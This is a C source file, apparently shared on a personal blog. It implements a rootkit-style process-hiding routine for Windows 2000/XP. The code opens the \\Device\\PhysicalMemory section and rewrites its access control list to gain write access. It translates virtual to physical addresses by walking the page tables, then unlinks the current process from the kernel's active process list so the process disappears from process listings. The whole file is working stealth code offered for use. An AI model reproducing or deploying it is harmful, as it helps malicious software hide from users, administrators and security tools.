#define NT_SUCCESS(Status)((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)

typedef LONG NTSTATUS;

typedef struct _IO_STATUS_BLOCK 
{
    NTSTATUS Status;
    ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _UNICODE_STRING 
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_INHERIT                0x00000002L
#define OBJ_PERMANENT            0x00000010L
#define OBJ_EXCLUSIVE            0x00000020L
#define OBJ_CASE_INSENSITIVE    0x00000040L
#define OBJ_OPENIF                0x00000080L
#define OBJ_OPENLINK            0x00000100L
#define OBJ_KERNEL_HANDLE        0x00000200L
#define OBJ_VALID_ATTRIBUTES    0x000003F2L

typedef struct _OBJECT_ATTRIBUTES 
{
    ULONG Length;
    HANDLE RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;
    PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; 

typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(
    OUT PHANDLE SectionHandle,
    IN ACCESS_MASK DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes
    );

typedef VOID (CALLBACK* RTLINITUNICODESTRING)(
    IN OUT PUNICODE_STRING DestinationString,
    IN PCWSTR SourceString
    );

RTLINITUNICODESTRING RtlInitUnicodeString;
ZWOPENSECTION ZwOpenSection;
HMODULE g_hNtDLL = NULL;
PVOID g_pMapPhysicalMemory = NULL;
HANDLE g_hMPM = NULL;
OSVERSIONINFO g_osvi;
//---------------------------------------------------------------------------
BOOL InitNTDLL()
{
    g_hNtDLL = LoadLibrary("ntdll.dll");

    if (NULL == g_hNtDLL)
        return FALSE;

    RtlInitUnicodeString = (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, 

"RtlInitUnicodeString");
    ZwOpenSection = (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");

    return TRUE;
}
//---------------------------------------------------------------------------
VOID CloseNTDLL()
{
    if(NULL != g_hNtDLL)
        FreeLibrary(g_hNtDLL);

    g_hNtDLL = NULL;
}
//---------------------------------------------------------------------------
VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection) 
{ 
    PACL pDacl                    = NULL; 
    PSECURITY_DESCRIPTOR pSD    = NULL; 
    PACL pNewDacl = NULL; 
    
    DWORD dwRes = GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, 

NULL, &pDacl, NULL, &pSD);

    if(ERROR_SUCCESS != dwRes)
    {

    if(pSD) 
        LocalFree(pSD); 
    if(pNewDacl) 
        LocalFree(pNewDacl); 
    }

    EXPLICIT_ACCESS ea; 
    RtlZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); 
    ea.grfAccessPermissions = SECTION_MAP_WRITE; 
    ea.grfAccessMode = GRANT_ACCESS; 
    ea.grfInheritance= NO_INHERITANCE; 
    ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME; 
    ea.Trustee.TrusteeType = TRUSTEE_IS_USER; 
    ea.Trustee.ptstrName = "CURRENT_USER"; 

    dwRes = SetEntriesInAcl(1,&ea,pDacl,&pNewDacl);
    
    if(ERROR_SUCCESS != dwRes)
    {

    if(pSD) 
        LocalFree(pSD); 
    if(pNewDacl) 
        LocalFree(pNewDacl); 
    }
    dwRes = SetSecurityInfo

(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL);
    
    if(ERROR_SUCCESS != dwRes)
    {

    if(pSD) 
        LocalFree(pSD); 
    if(pNewDacl) 
        LocalFree(pNewDacl); 
    }

} 
//---------------------------------------------------------------------------
HANDLE OpenPhysicalMemory()
{
    NTSTATUS status;
    UNICODE_STRING physmemString;
    OBJECT_ATTRIBUTES attributes;
    ULONG PhyDirectory;

    g_osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
    GetVersionEx (&g_osvi);

    if (5 != g_osvi.dwMajorVersion)
        return NULL;

    switch(g_osvi.dwMinorVersion)
    {
        case 0:
            PhyDirectory = 0x30000;
            break; //2k
        case 1:
            PhyDirectory = 0x39000;
            break; //xp
        default:
            return NULL;
    }

    RtlInitUnicodeString(&physmemString, L"\\Device\\PhysicalMemory");

    attributes.Length                    = sizeof(OBJECT_ATTRIBUTES);
    attributes.RootDirectory            = NULL;
    attributes.ObjectName                = &physmemString;
    attributes.Attributes                = 0;
    attributes.SecurityDescriptor        = NULL;
    attributes.SecurityQualityOfService    = NULL;

    status = ZwOpenSection(&g_hMPM, SECTION_MAP_READ|SECTION_MAP_WRITE, &attributes); 

    if(status == STATUS_ACCESS_DENIED)
    { 
        status = ZwOpenSection(&g_hMPM, READ_CONTROL|WRITE_DAC, &attributes); 
        SetPhyscialMemorySectionCanBeWrited(g_hMPM); 
        CloseHandle(g_hMPM);
        status = ZwOpenSection(&g_hMPM, SECTION_MAP_READ|SECTION_MAP_WRITE, &attributes); 
    }

    if(!NT_SUCCESS(status)) 
        return NULL;

    g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, FILE_MAP_READ|FILE_MAP_WRITE, 0, PhyDirectory, 

0x1000);

    if( g_pMapPhysicalMemory == NULL )
        return NULL;

    return g_hMPM;
}
//---------------------------------------------------------------------------
PVOID LinearToPhys(PULONG BaseAddress, PVOID addr)
{
    ULONG VAddr = (ULONG)addr,PGDE,PTE,PAddr;
    PGDE = BaseAddress[VAddr>>22];

    if (0 == (PGDE&1))
        return 0;

    ULONG tmp = PGDE & 0x00000080;

    if (0 != tmp)
    {
        PAddr = (PGDE & 0xFFC00000) + (VAddr & 0x003FFFFF);
    }
    else
    {
        PGDE = (ULONG)MapViewOfFile(g_hMPM, 4, 0, PGDE & 0xfffff000, 0x1000);
        PTE = ((PULONG)PGDE)[(VAddr&0x003FF000)>>12];
        
        if (0 == (PTE&1))
            return 0;

        PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF);
        UnmapViewOfFile((PVOID)PGDE);
    }

    return (PVOID)PAddr;
}
//---------------------------------------------------------------------------
ULONG GetData(PVOID addr)
{
    ULONG phys = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, (PVOID)addr);
    PULONG tmp = (PULONG)MapViewOfFile(g_hMPM, FILE_MAP_READ|FILE_MAP_WRITE, 0, phys & 

0xfffff000, 0x1000);
    
    if (0 == tmp)
        return 0;

    ULONG ret = tmp[(phys & 0xFFF)>>2];
    UnmapViewOfFile(tmp);

    return ret;
}
//---------------------------------------------------------------------------
BOOL SetData(PVOID addr,ULONG data)
{
    ULONG phys = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, (PVOID)addr);
    PULONG tmp = (PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);

    if (0 == tmp)
        return FALSE;

    tmp[(phys & 0xFFF)>>2] = data;
    UnmapViewOfFile(tmp);

    return TRUE;
}
//---------------------------------------------------------------------------
long __stdcall exeception(struct _EXCEPTION_POINTERS *tmp)
{
   ExitProcess(0);
   return 1 ;
}
//---------------------------------------------------------------------------
BOOL YHideProcess()
{
//    SetUnhandledExceptionFilter(exeception);

    if (FALSE == InitNTDLL())
        return FALSE;

    if (0 == OpenPhysicalMemory())
        return FALSE;

    ULONG thread  = GetData((PVOID)0xFFDFF124); //kteb
    ULONG process = GetData(PVOID(thread + 0x44)); //kpeb

    ULONG fw, bw;
    if (0 == g_osvi.dwMinorVersion)
    {
        fw = GetData(PVOID(process + 0xa0));
        bw = GetData(PVOID(process + 0xa4));        
    }

    if (1 == g_osvi.dwMinorVersion)
    {
        fw = GetData(PVOID(process + 0x88));
        bw = GetData(PVOID(process + 0x8c));
    }
        
    SetData(PVOID(fw + 4), bw);
    SetData(PVOID(bw), fw);

    CloseHandle(g_hMPM);
    CloseNTDLL();

    return TRUE;
}

BOOL HideProcess()
{
 static BOOL b_hide = false;
 if (!b_hide)
 {
  b_hide = true;
  YHideProcess();
  return true;
 }
 return true;
}
/////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////

作者Blog：http://blog.csdn.net/yanzheng1/